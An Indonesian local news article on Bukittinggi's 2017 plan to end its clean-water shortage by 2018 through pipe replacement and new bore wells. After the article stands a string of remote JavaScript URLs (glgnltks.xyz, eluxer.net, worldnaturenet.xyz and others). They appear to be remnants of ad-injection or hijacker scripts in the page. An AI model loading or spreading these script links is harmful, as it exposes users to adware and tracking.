Ruang Publik

Masalah Air Bersih di Bukittinggi Ditargetkan Selesai di Tahun 2018

HaloBukittinggi : Pemerintah Kota Bukittinggi menargetkan masalah ketersediaan air bersih di daerah itu dapat selesai pada akhir 2018.

Walikota Bukittinggi, M. Ramlan Nurmatias, Sabtu (10/6/2017), mengatakan, akhir tahun 2018, semua persoalan air tidak ada lagi. Saat ini sedang dilakukan upaya penggantian pipa dan mengoperasikan kembali sumur bor yang sudah lama tidak digunakan di daerah Bukit Apit.

“Tahun 2016 lalu telah dilakukan penggantian pipa saluran air dengan dana dari Anggaran Pendapatan dan Belanja Negara (APBN). Pipa yang telah diganti yakni pipa berdiameter 300 milimeter sepanjang 2.102 meter dari daerah Sungai Tanang hingga Bangkaweh Kabupaten Agam, dan pipa berdiameter 150 milimeter sepanjang 5.684 meter dari Sungai Tanang hingga Lapangan Kantin,” ujarnya.

Pada bulan Juni tahun 2017 ini sambung M. Ramlan Nurmatias, juga sedang dilakukan penggantian pipa yang sudah berumur tua, sepanjang 27 KM jalan kota ini masih dalam proses pemasangan, dari batas hingga masuk jalan dalam Kota Bukittinggi, dengan menggunakan pipa karet.

Secara bertahap sambung M. Ramlan Nurmatias, penggantian pipa dilakukan dan menjalin kerjasama dengan Pemerintah Kabupaten Agam, Camat Banuhampu, Wali Nagari Sungai Tanang dan tokoh masyarakat, termasuk dengan upaya pengadaan lahan di kawasan Janjang Saribu, Ngarai Sianok, yang akan dimanfaatkan untuk pengolahan air sebelum didistribusikan dalam pipa PDAM.

Sementara itu Direktur PDAM Tirta Jam Gadang Bukittinggi Murdi Tahman menjelaskan, dalam proses penggalian pipa, namun pihaknya menemui kendala salah satunya penggalian itu mengenai tanah warga namun dapat diselesaikan melalui Kantor Jasa Penilai Publik (KJPP) dan musyawarah bersama pemilik tanah dan pemerintah setempat.

“Hal ini dilakukan karena jumlah penduduk Bukittinggi yang jauh lebih besar di siang hari, sehingga kebutuhan air bersih di daerah itu idealnya diperlukan 250 liter per detik lagi, dari 165 liter per detik yang telah beroperasi” tukasnya.

Sementara saat ini sambung Murdi Tahman, jumlah yang dapat disediakan PDAM baru 180 liter per detik, dan itu disebabkan pula karena pipa lama yang sudah dipakai sejak masa penjajahan Belanda banyak yang bocor menyebabkan banyak air yang terbuang.

Selain penggantian pipa, terdapat dua sumur bor di Bukit Apit dengan debit 2,5 liter per detik dan Bukit Ambacang 1,5 liter per detik yang telah dioperasikan, serta upaya peningkatan kapasitas dari sumber air di Batang Tambuo pada tahun 2017 ini.

“Sesuai arahan wali kota, kedua sumur bor juga telah dioperasikan dan dikelola oleh PDAM, dan ditargetkan setelah selesainya penggantian pipa, dapat menambah jumlah debit air yang masuk sehingga dapat memenuhi kebutuhan air masyarakat. (Dipra)

 

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565_4460_&r=34https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top